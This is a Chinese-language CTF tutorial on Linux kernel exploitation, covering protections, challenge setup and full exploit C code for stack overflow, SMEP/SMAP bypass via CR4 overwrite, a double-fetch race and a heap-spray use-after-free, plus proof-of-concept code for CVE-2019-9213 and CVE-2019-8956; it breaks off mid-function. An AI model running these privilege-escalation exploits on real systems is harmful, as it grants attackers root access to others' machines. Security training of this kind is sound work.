Linux Kernel Pwn 初探

基础知识

kernel 的主要功能:

  1. 控制并与硬件进行交互

  2. 提供 application 能运行的环境

Intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3

Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。

Ps: 在Ring0下,可以修改用户的权限(也就是提权)

如何进入kernel 态:

  1. 系统调用 int 0x80 syscall ioctl
  2. 产生异常
  3. 外设产生中断

  4. ...

进入kernel态之前会做什么?

保存用户态的各个寄存器,以及执行到代码的位置

从kernel态返回用户态需要做什么?

执行swapgs(64位)和 iret 指令,当然前提是栈上需要布置好恢复的寄存器的值

一般的攻击思路:

寻找kernel 中内核程序的漏洞,之后调用该程序进入内核态,利用漏洞进行提权,提完权后,返回用户态

返回用户态时候的栈布局:

Ps:在返回用户态时,恢复完上述寄存器环境后,还需执行swapgsiretq,其中swapgs用于置换GS寄存器和KernelGSbase MSR寄存器的内容(32位系统中不需要swapgs,直接iret返回即可)

Linux Kernel 源码目录结构

linux-4.20源码下载:https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.20.tar.gz

CTF中的Linux kernel

通常CTF比赛中KERNEL PWN不会直接让选手PWN掉内核,通常漏洞会存在于动态装载模块中(LKMs, Loadable Kernel Modules ),包括:

  • 驱动程序(Device drivers

    • 设备驱动
    • 文件系统驱动
    • ...
  • 内核扩展模块 (modules)

一般来说,题目会给出如下四个文件:

其中,

  1. baby.ko 就是有bug的程序(出题人编译的驱动),可以用IDA打开

  2. bzImage 是打包的内核,用于启动虚拟机与寻找gadget

  3. Initramfs.cpio 文件系统

  4. startvm.sh 启动脚本

  5. 有时还会有vmlinux文件,这是未打包的内核,一般含有符号信息,可以用于加载到gdb中方便调试(gdb vmlinux),当寻找gadget时,使用objdump -d vmlinux > gadget然后直接用编辑器搜索会比ROPgadgetropper快很多。

  6. 没有vmlinux的情况下,可以使用linux源码目录下的scripts/extract-vmlinux来解压bzImage得到vmlinuxextract-vmlinux bzImage > vmlinux),当然此时的vmlinux是不包含调试信息的。

  7. 还有可能附件包中没有驱动程序*.ko,此时可能需要我们自己到文件系统中把它提取出来,这里给出ext4cpio两种文件系统的提取方法:

    • ext4:将文件系统挂载到已有目录。

      • mkdir ./rootfs

      • sudo mount rootfs.img ./rootfs

      • 查看根目录的initetc/init.d/rcS,这是系统的启动脚本

        可以看到加载驱动的路径,这时可以把驱动拷出来

      • 卸载文件系统,sudo umount rootfs

    • cpio:解压文件系统、重打包

      • mkdir extracted; cd extracted
      • cpio -i --no-absolute-filenames -F ../rootfs.cpio
      • 此时与其它文件系统相同,找到rcS文件,查看加载的驱动,拿出来
      • find . | cpio -o --format=newc > ../rootfs.cpio
  8. startvm.sh用于启动QEMU虚拟机,如下:

    #!/bin/bash
    
    stty intr ^]
    cd `dirname $0`
    timeout --foreground 600 qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
        -monitor /dev/null \
        -initrd initramfs.cpio \
        -smp cores=1,threads=1 \
        -cpu qemu64 2>/dev/null
    

    可以在最后加上-gdb tcp::1234 -S使虚拟机启动时强制中断,等待调试器连接,这里最好用ubuntu 18.0416.04有可能出现玄学问题,至少我这里是这样

Linux Kernel漏洞类型

其中主要有以下几种保护机制:

  • KPTI:Kernel PageTable Isolation,内核页表隔离
  • KASLR:Kernel Address space layout randomization,内核地址空间布局随机化
  • SMEP:Supervisor Mode Execution Prevention,管理模式执行保护
  • SMAP:Supervisor Mode Access Prevention,管理模式访问保护
  • Stack Protector:Stack Protector又名canary,stack cookie
  • kptr_restrict:允许查看内核函数地址
  • dmesg_restrict:允许查看printk函数输出,用dmesg命令来查看
  • MMAP_MIN_ADDR:不允许申请NULL地址 mmap(0,....)

KASLRStack Protector与用户态下的ASLRcanary保护机制相似。SMEP下,内核态运行时,不允许执行用户态代码;SMAP下,内核态不允许访问用户态数据。SMEPSMAP的开关都通过cr4寄存器来判断,因此可通过修改cr4的值来实现绕过SMEPSMAP保护。

可以通过cat /proc/cpuinfo来查看开启了哪些保护:

KASLRSMEPSMAP可通过修改startvm.sh来关闭;

dmesg_restrictdmesg_restrict可在rcS文件中修改:

MMAP_MIN_ADDRlinux源码中定义的宏,可重新编译内核进行修改(.config文件中),默认为4k

做题准备

一般来说,不管是什么漏洞,大多数利用都需要一些固定的信息,比如驱动加载基址、prepare_kernel_cred地址、commit_creds地址(KASLR开启时通过偏移计算,内核基址为0xffffffff81000000),因此我们需要以root权限启动虚拟机,可以在startvm.sh中把保护全部关掉。

启动的用户权限也是由rcS文件来控制的,找到setsid这一行,修改权限为0000

启动后,执行lsmod可以看到驱动加载基址,要记得先关闭kaslr,然后记录下来,这可以用gdb调试时方便计算断点地址,这里也可以看到设备名称为OOB,路径为/dev/OOB

cat /proc/kallsyms | grep "prepare_kernel_cred"得到prepare_kernel_cred函数地址

cat /proc/kallsyms | grep "commit_creds"得到commit_creds函数地址

当我们写好exp.c时,需要编译并把它传到本地或远程的QEMU虚拟机中,但是由于出题人会使用busybox等精简版的系统,所以我们也不能用常规方法。这里给出一个我自己用的脚本,也可以用于本地调试,就不需要重复挂载、打包等操作了。需要安装muslgccapt install musl-tools

from pwn import *
#context.update(log_level='debug')

HOST = "10.112.100.47"
PORT =  1717

USER = "pwn"
PW = "pwn"

def compile():
    log.info("Compile")
    os.system("musl-gcc -w -s -static -o3 oob.c -o exp")

def exec_cmd(cmd):
    r.sendline(cmd)
    r.recvuntil("$ ")

def upload():
    p = log.progress("Upload")

    with open("exp", "rb") as f:
        data = f.read()

    encoded = base64.b64encode(data)

    r.recvuntil("$ ")

    for i in range(0, len(encoded), 300):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

    exec_cmd("cat benc | base64 -d > bout")
    exec_cmd("chmod +x bout")

    p.success()

def exploit(r):
    compile()
    upload()

    r.interactive()

    return

if __name__ == "__main__":
    if len(sys.argv) > 1:
        session = ssh(USER, HOST, PORT, PW)
        r = session.run("/bin/sh")
        exploit(r)
    else:
        r = process("./startvm.sh")
        print util.proc.pidof(r)
        pause()
        exploit(r)

level1

第一道例题,程序很简单,只有一个函数

init_module中注册了名叫baby的驱动

sub_0函数存在栈溢出,将0x100的用户数据拷贝到内核栈上,高度只有0x88

这里实际上缓冲区距离rbp0x80,也没有保护,不用泄露,不用绕过,直接ret2usr

exp.c

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
  commit_creds(prepare_kernel_cred(0));
  asm(
    "pushq   %0;"
    "pushq   %1;"
    "pushq   %2;"
    "pushq   %3;"
    "pushq   $shell;"
    "pushq   $0;"
    "swapgs;"
    "popq    %%rbp;"
    "iretq;"
    ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
        printf("root\n");
        system("/bin/sh");
        exit(0);
}


int main() {
  void *buf[0x100];
  save_stat();
  int fd = open("/dev/baby", 0);
    if (fd < 0) {
        printf("[-] bad open device\n");
        exit(-1);
    }
    for(int i=0; i<0x100; i++) {
      buf[i] = &templine;
    }

    ioctl(fd, 0x6001, buf);
    //getchar();
    //getchar();
}

level2

先看看startvm.sh,这次多了SMEPSMAPKASLR,所以我们需要考虑先泄露内核地址(这里还是把kaslr关掉方便调试

主要函数也只有一个:

可以看到提供了两个功能,可以从用户内存拷贝数据到内核栈,也可以将内核栈的数据提供给用户。那就可以通过内核栈数据进行内核基址的泄露,随后使用gadget修改cr4来绕过smepsmap

首先可以将上传exp的脚本设置为debug模式,方便进行泄露数据的计算。

context.update(log_level='debug')

在用户态设置缓冲区,然后使用0x6002的泄露功能,write出来

ioctl(fd, 0x6002, buf);
    write(1, buf, 0x200);

效果如下:

因为此时没有开启KASLR,所以我们可以寻找0xffffffff80000000附近的内核地址进行基址的泄露。

比如偏移为0x480xffffffff8129b078

这里还要泄露canary(见上图v6变量),一般来说,canary会在rbp-8的位置,视具体情况可能有些偏移,且canary是一个高字节为\x00的随机字符串,还是比较容易找的。

然后我们就可以寻找cr4寄存器相关的gadget进行smapsmep的绕过

因为题目没有提供vmlinux,所以使用extract-vmlinux进行解压

~/linux-4.20/scripts/extract-vmlinux ./bzImage > vmlinux

然后用objdump提取gadget

objdump -d ./vmlinux > gadget

找合适的rop链,这里可以先看可控制cr4的寄存器,再找相关的pop

然后就可以修改cr40x6f0,后面就是常规操作了

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;

void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
  commit_creds(prepare_kernel_cred(0));
  asm(
    "pushq   %0;"
    "pushq   %1;"
    "pushq   %2;"
    "pushq   %3;"
    "pushq   $shell;"
    "pushq   $0;"
    "swapgs;"
    "popq    %%rbp;"
    "iretq;"
    ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
        printf("root\n");
        system("/bin/sh");
        exit(0);
}

unsigned long long int calc(unsigned long long int addr) {
    return addr-0xffffffff81000000+base_addr;
}


int main() {
  long long buf[0x200];
  save_stat();
  int fd = open("/dev/baby", 0);
    if (fd < 0) {
        printf("[-] bad open device\n");
        exit(-1);
    }
    // for(int i=0; i<0x100; i++) {
    //  buf[i] = &templine;
    // }

    ioctl(fd, 0x6002, buf);
    // write(1, buf, 0x200);
    base_addr = buf[9] - 0x29b078;
    canary = buf[13];
    printf("base:0x%llx, canary:0x%llx\n", base_addr,canary);
    prepare_kernel_cred = calc(0xffffffff810b9d80);
    commit_creds = calc(0xffffffff810b99d0);
    int i = 18;
    buf[i++] = calc(0xffffffff815033ec);  // pop rdi; ret;
    buf[i++] = 0x6f0;
    buf[i++] = calc(0xffffffff81020300);  // mov cr4,rdi; pop rbp; ret;
    buf[i++] = 0;
    buf[i++] = &templine; 
    ioctl(fd, 0x6001, buf);
    //getchar();
    //getchar();
}

level3

先看startvm.sh

开了两个核,这时就要注意会不会是double fetch漏洞,因为一般的题都只会用到一个核。

这里要注意一点,就是最好关掉kvm加速(-enable-kvm,因为调试的时候如果开启了kvm,驱动的基址就和之前我们通过lsmod查到的不一样,导致断点断不下来等玄学现象,并且这个操作也不会影响漏洞的利用。

看下驱动程序:

__int64 __fastcall baby_ioctl(__int64 a1, __int64 choice)
{
  FLAG *s1; // rdx
  __int64 v3; // rcx
  __int64 result; // rax
  unsigned __int64 v5; // kr10_8
  int i; // [rsp-5Ch] [rbp-5Ch]
  FLAG *s; // [rsp-58h] [rbp-58h]

  _fentry__(a1, choice);
  s = s1;
  if ( choice == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag, s1, v3);
    result = 0LL;
  }
  else if ( choice == 0x1337
         && !_chk_range_not_ok(s1, 16LL, *(__readgsqword(&current_task) + 0x1358))
         && !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(&current_task) + 0x1358))
         && s->len == strlen(flag) )            // a4
  {
    for ( i = 0; ; ++i )
    {
      v5 = strlen(flag) + 1;
      if ( i >= v5 - 1 )
        break;
      if ( s->flag[i] != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag, flag, ~v5);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

_chk_range_not_ok函数,检查了一、二参数的和是不是小于第三个,且无符号整数和不能产生进位(也就是溢出),这里的__CFADD__运算就是Generate carry flag for (x+y),使加法运算产生CF标志:

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  bool v3; // cf
  unsigned __int64 v4; // rdi
  bool result; // al

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  if ( v3 )
    result = 1;
  else
    result = a3 < v4;
  return result;
}

实际上,我们传进这个函数的a3就是*(__readgsqword(&current_task) + 0x1358),这个数的值通过打断点可以知道,就是用户空间的最高页基址(0x7ffffffff000),所以实际上它所实现的功能就是我们不能传入内核地址,也就是我们不能直接传入程序数据段中的flag地址来实现判断条件的绕过。

.data:0000000000000480                 public flag
.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480                                         ; baby_ioctl+DB↑r ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488                 align 20h

也就是这部分的判断条件:

else if ( choice == 0x1337
         && !_chk_range_not_ok(s1, 16LL, *(__readgsqword(&current_task) + 0x1358))
         && !_chk_range_not_ok(s->flag, s->len, *(__readgsqword(&current_task) + 0x1358))
         && s->len == strlen(flag) )            // a4

但是只要我们通过了这段验证,后面的逐字节校验就没有再检查是否为内核地址

for ( i = 0; ; ++i )
    {
      v5 = strlen(flag) + 1;
      if ( i >= v5 - 1 )
        break;
      if ( s->flag[i] != flag[i] )
        return 22LL;
    }

所以我们可以通过创建两个线程,其中主线程的flag参数传入一个用户空间的地址,但是要满足s->len == strlen(flag)的判断条件,这个长度我们可以用返回值是否为22来爆破。

此时主线程就会在逐字节校验过程中失败并返回,而我们如果能在这两段验证逻辑之间修改flag的值为目标flag的内核地址,就可以完成所有验证实现flag的打印。

需要注意的是,我们子线程,即修改地址的线程要在主线程进入之前就开始运行,这样才有可能在窗口期修改变量。

以下为完整exp,可能需要多试几次才能成功:

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

int main_thread_out = 0;

struct msg {
    char *buf;
    int len;
}m;


void change_addr(unsigned long long addr) {
    while (main_thread_out == 0) {
        m.buf = addr;
        puts("waiting...");
    }
    puts("out...");
}


int main() {
  void *buf[0x1000];
  int fd = open("/dev/baby", 0);
    if (fd < 0) {
        printf("[-] bad open device\n");
        exit(-1);
    }
    m.len = 33;
    m.buf = buf;
    ioctl(fd, 0x6666, m);
    system("dmesg > /tmp/aaa.txt");
    int tmp_fd = open("/tmp/aaa.txt", 0);
    lseek(tmp_fd, -0x100, SEEK_END);
    read(tmp_fd, buf, 0x100);
    char *flag_addr = strstr(buf,"Your flag is at ");
    if (flag_addr == 0){
        printf("[-]Not found addr");
        exit(-1);
    }

    close(tmp_fd);
    flag_addr += strlen("Your flag is at ");
    unsigned long long addr = strtoull(flag_addr, flag_addr+16, 16);
    printf("flag_addr:%p\n",addr);
    // int ret = ioctl(fd, 0x1337, &m);
    // printf("ret:%d\n", ret);
    pthread_t t;
    pthread_create(&t, 0, change_addr, addr);
    // sleep(1);
    puts("main_thread in...");
    for(int i=0; i<0x1000; i++) {
        m.buf = buf;
        ioctl(fd, 0x1337, &m);
    }
    main_thread_out = 1;

    system("dmesg > /tmp/bbb.txt");
    tmp_fd = open("/tmp/bbb.txt", 0);
    if (tmp_fd < 0) {
        printf("[-] bad open dmesg\n");
        exit(-1);
    }
    lseek(tmp_fd, -0x100, SEEK_END);
    read(tmp_fd, buf, 0x100);
    flag_addr = strstr(buf,"So here is it ");
    if (flag_addr == 0){
        printf("[-]Not found flag");
        exit(-1);
    }

    close(tmp_fd);
    flag_addr += strlen("So here is it ");
    flag_addr[m.len] = 0;
    printf("%s\n",flag_addr);
    return 0;
    // ioctl(fd, 0x6001, buf);
    //getchar();
    //getchar();
}

level4

嗯,依旧只有一个函数。。

__int64 __fastcall sub_0(__int64 a1, __int64 a2)
{
  __int64 v2; // rdx
  __int64 a3; // r13
  BUF *buf; // rbx
  __int64 i; // rax
  __int64 v7; // r12
  CHUNK *chunk_1; // rax
  char *call_arg; // rdx
  __int64 v10; // rax
  CHUNK *chunk; // rsi
  __int64 idx; // rax
  __int64 ptr; // rdi

  _fentry__(a1, a2);
  a3 = v2;
  buf = kmem_cache_alloc_trace(kmalloc_caches[4], 0x6000C0LL, 0x10LL);
  copy_from_user(buf, a3, 16LL);
  switch ( a2 )
  {
    case 0x6008:                                // delete
      idx = buf->idx;
      if ( idx <= 0x1F )
      {
        ptr = pool[idx];
        if ( ptr )
          kfree(ptr);                           // no clean
      }
      break;
    case 0x6009:                                // call
      v10 = buf->idx;
      if ( v10 <= 0x1F )
      {
        chunk = pool[v10];
        if ( chunk )
          _x86_indirect_thunk_rax(chunk->arg1, chunk, 0x48LL);// call rax
      }
      break;
    case 0x6007:                                // add
      i = 0LL;
      while ( 1 )
      {
        v7 = i;
        if ( !pool[i] )
          break;
        if ( ++i == 0x20 )
          goto LABEL_4;
      }
      chunk_1 = kmem_cache_alloc_trace(kmalloc_caches[1], 0x6000C0LL, 72LL);
      call_arg = buf->data;
      pool[v7] = chunk_1;
      chunk_1->call_func = &copy_to_user;       // call func
      chunk_1->arg1 = call_arg;                 // call args
      break;
  }
LABEL_4:
  kfree(buf);
  return 0LL;
}

保护全开

程序的逻辑基本上是,我们有一个chunk池,可以进行创建、销毁、调用的功能,调用的默认函数是copy_to_user,参数是我们创建堆块的时候传入的,我们可以用这个copy_to_user来泄露内核地址,方法就和level2是一样的。

但是可以看到,程序在销毁堆块的时候并没有将指针置空,这样就有一个UAF漏洞;并且这个调用的过程的函数地址是从堆块中取的,所以如果我们能通过堆喷将设计好的数据填入这个free掉的堆块,就可以实现任意地址的调用。

这里是使用socket连接中的sendmsg进行堆喷,chunk的大小可以通过msg结构体中的msg_controllen来进行调整(最小为44字节),这里可以参考:

https://invictus-security.blog/2017/06/15/linux-kernel-heap-spraying-uaf/

因此利用的思路就是,两次UAF,两次堆喷

  • 第一次通过gadgets修改CR4,关闭smapsmep保护
  • 第二次直接调用提权函数(commit_creds(prepare_kernel_cred(0))

下面是完整exp

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>



#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0; // TODO:change it

unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;

int fd;
int BUFF_SIZE = 96;


void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
  commit_creds(prepare_kernel_cred(0));
  asm(
    "pushq   %0;"
    "pushq   %1;"
    "pushq   %2;"
    "pushq   %3;"
    "pushq   $shell;"
    "pushq   $0;"
    "swapgs;"
    "popq    %%rbp;"
    "iretq;"
    ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
        printf("root\n");
        system("/bin/sh");
        exit(0);
}

unsigned long long int calc(unsigned long long int addr) {
    return addr-0xffffffff81000000+base_addr;
}

// ------------------------------------------------------------

struct sBuf 
{
  char *data;
  int index;
} buf;


void add(char *data) {
  buf.data = data;
  ioctl(fd, 0x6007, &buf);
}

void delete(int index) {
  buf.index = index;
  ioctl(fd, 0x6008, &buf);
}

void call(int index) {
  buf.index = index;
  ioctl(fd, 0x6009, &buf);
}

int main() {
  save_stat();
  fd = open("/dev/baby", 0);
    if (fd < 0) {
        printf("[-] bad open device\n");
        exit(-1);
    }
    unsigned long long *s[0x1000];
    void *arg;
    s[6] = arg;
    add(s);
    delete(0);
    call(0);
    // write(1, s, 0x200);
    base_addr = (void*)s[8] - 0x4d4680;
    printf("base:0x%llx\n", base_addr);
    prepare_kernel_cred = calc(0xffffffff810b9d80);
    commit_creds = calc(0xffffffff810b99d0);

    // 开始建立socket 和 msg
    char buff[BUFF_SIZE];
  struct msghdr msg = {0};
  struct sockaddr_in addr = {0};
  int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

  memset(buff, 0x43, sizeof buff);
  *((unsigned long long*)(&buff[0x38])) = 0x6f0;
  *((unsigned long long*)(&buff[0x40])) = calc(0xffffffff81070790);  // push rbp; mov rbp,rsp; mov cr4,rdi; pop rbp; ret;
                                     // gadget has to save rbp then pop

  addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  addr.sin_family = AF_INET;
  addr.sin_port = htons(6666);

  /* This is the data that will overwrite the vulnerable object in the heap */
    msg.msg_control = buff;

  /* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */
    msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size
    msg.msg_name = (caddr_t)&addr;
    msg.msg_namelen = sizeof(addr);

  for(int i = 0; i < 0x10000; i++) {
        sendmsg(sockfd, &msg, 0);
    }

    call(0);
    add(s);
    delete(1);

  *((unsigned long long*)(&buff[0x40])) = &templine;

  for(int i = 0; i < 0x10000; i++) {
        sendmsg(sockfd, &msg, 0);
    }

    call(1);
  // (unsigned long long*)&buff[0x40] = 0xffffffff81087c99;  // pop rdi; pop rbx; ret;
}

babykernel

这是XMan入营赛的一道题,应该是出题人用其它题改的,改的很简单,直接ret2usr,开了smap, smep没有kaslr,可以在这里下载:

https://github.com/t3ls/pwn/blob/master/XMAN2019/babykernel/4771022fa9a54407bc7a56f61db435d3.zip

有用的只有write函数:

__int64 __fastcall mychrdev_write(int a1, char *a2, __int64 a3)
{
  char v4; // [rsp+0h] [rbp-50h]

  if ( ((__int64 (__fastcall *)(char *, char *, __int64))copy_from_user)(&v4, a2, a3) )
    return -14LL;
  printk("You writed!");
  return 1LL;
}

exp如下:

#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>



#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810779b0; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81077620; // TODO:change it
// cat /proc/kallsyms | grep "prepare_kernel_cred"

unsigned long long user_cs, user_ss, user_rflags, user_sp;
unsigned long long base_addr, canary;

int fd;
int BUFF_SIZE = 96;


void save_stat() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}

void templine()
{
  commit_creds(prepare_kernel_cred(0));
  asm(
    "pushq   %0;"
    "pushq   %1;"
    "pushq   %2;"
    "pushq   %3;"
    "pushq   $shell;"
    "pushq   $0;"
    "swapgs;"
    "popq    %%rbp;"
    "iretq;"
    ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}

void shell()
{
        printf("root\n");
        system("/bin/sh");
        exit(0);
}

unsigned long long int calc(unsigned long long int addr) {
    return addr-0xffffffff81000000+base_addr;
}

int main() {
  save_stat();
  fd = open("/dev/mychrdev", 2);
    if (fd < 0) {
        printf("[-] bad open device\n");
        exit(-1);
    }
    // void *buf[0x1000];
    void *buf[0x1000];
    // for (int i=0; i < 0x100; i++) {
    //  buf[i] = &templine;
    // }
    int i = 0x58/8;
    buf[i++] = 0xffffffff81045600;  // mov rax,rbx; pop rbx; pop rbp; ret;
    buf[i++] = 0x6f0;
    buf[i++] = 0x10;
    buf[i++] = 0xffffffff81045600;  // mov rax,rbx; pop rbx; pop rbp; ret;
    buf[i++] = 0x6f0;
    buf[i++] = 0;
    buf[i++] = 0xffffffff81003cf8;  // mov cr4,rax; pop rbp; ret;
    buf[i++] = 0;
    buf[i++] = &templine;
    write(fd, buf, 0x100);
}

CVE-2019-9213

CVE描述

In the Linux kernel before 4.20.14, expand_downwards in mm/mmap.c lacks a check for the mmap minimum address, which makes it easier for attackers to exploit kernel NULL pointer dereferences on non-SMAP platforms. This is related to a capability check for the wrong task.

补丁对比

调用链

POC

从补丁中我们可以看出,当一块内存具有MAP_GROWSDOWN标志时,内存不足会向低地址进行扩展,此时跟进调用链会发现调用了expand_downwards函数,漏洞也就是没有对扩展后的地址进行合理性校验,因此在内核态下对用户空间进行内存扩展时,因为没有address < mmap_min_addr的判断条件,我们就可以mmapNULL地址,但用户空间是不允许对0地址进行映射的,所以此时就会有提权的风险。

#include <stdio.h>
#include <sys/mman.h>
#include <err.h>
#include <fcntl.h>


int main() {
    unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
    if (addr != 0x10000)
        err(2,"mmap failed");
    int fd = open("/proc/self/mem",O_RDWR);
    if (fd == -1)
        err(2,"open mem failed");
    char cmd[0x100] = {0};
    sprintf(cmd, "su >&%d < /dev/null", fd);
    while (addr)
    {
        addr -= 0x1000;
        if (lseek(fd, addr, SEEK_SET) == -1)
            err(2, "lseek failed");
        system(cmd);
    }
    printf("contents:%s\n",(char *)1);
}

这个POC最后打印了1地址的内容,其实就是执行su命令时的报错信息

效果如下:

CVE-2019-8956

CVE描述

In the Linux Kernel before versions 4.20.8 and 4.19.21 a use-after-free error in the "sctp_sendmsg()" function (net/sctp/socket.c) when handling SCTP_SENDALL flag can be exploited to corrupt memory.

补丁对比

调用链

漏洞原理

根据补丁信息,可以看出漏洞位于sctp_sendmsg函数的asoc链表遍历的过程中,sctp_associationsctp协议通信中存储相关信息的基础结构体,包含有sendmsg过程中的地址、端口等信息。而patch的原因写的是避免因链表中的成员被删除时,遍历造成的内存页中断。

我们再来看list_for_each_entrylist_for_each_entry_safe的区别

也就是保证了在链表的遍历过程中,如果出现了非法地址,不会再直接赋值到pos上。

所以CVE描述所写的是UAF漏洞,我觉得写成空指针解引用漏洞要更恰当一点。

POC的编写,基本上就是复制粘贴了sctp通信的代码,最后调用了sctp_sendmsg,但是怎么样才能触发这个漏洞呢,我们来看看报错的代码(net/sctp/socket.c

可以看到,当遍历到0xd4这个非法地址时,报错是由sctp_sendmsg_check_sflags返回的,我们跟进看一下

所以要触发报错,我们要满足sflags & SCTP_SENDALL以进入遍历函数,和sflags & SCTP_ABORT来产生报错

通过查询定义,可以发现SCTP_ABORT0x4SCTP_SENDALL0x40

所以可以知道当我们将sflags置为0x44时即可引发crash

sflags是倒数第四个参数,至此,我们就可以写出POC

POC

#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h> 
#include <malloc.h>

#define SERVER_PORT 6666

#define SCTP_GET_ASSOC_ID_LIST  29
#define SCTP_RESET_ASSOC  120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET  118

void* client_func(void* arg)
{
  int socket_fd;
  struct sockaddr_in serverAddr;
  struct sctp_event_subscribe event_;
  int s;

  char *buf = "test";

  if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
    perror("client socket");
    pthread_exit(0);
  }
  bzero(&serverAddr, sizeof(serverAddr));
  serverAddr.sin_family = AF_INET;
  serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  serverAddr.sin_port = htons(SERVER_PORT);
  inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);

  printf("send data: %s\n",buf);
  if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0x44,0,0,0)==-1){
    perror("client sctp_sendmsg");
    goto client_out_;
  }

client_out_:
    //close(socket_fd);
  pthread_exit(0);
}

void* send_recv(int server_sockfd)
{
  int msg_flags;
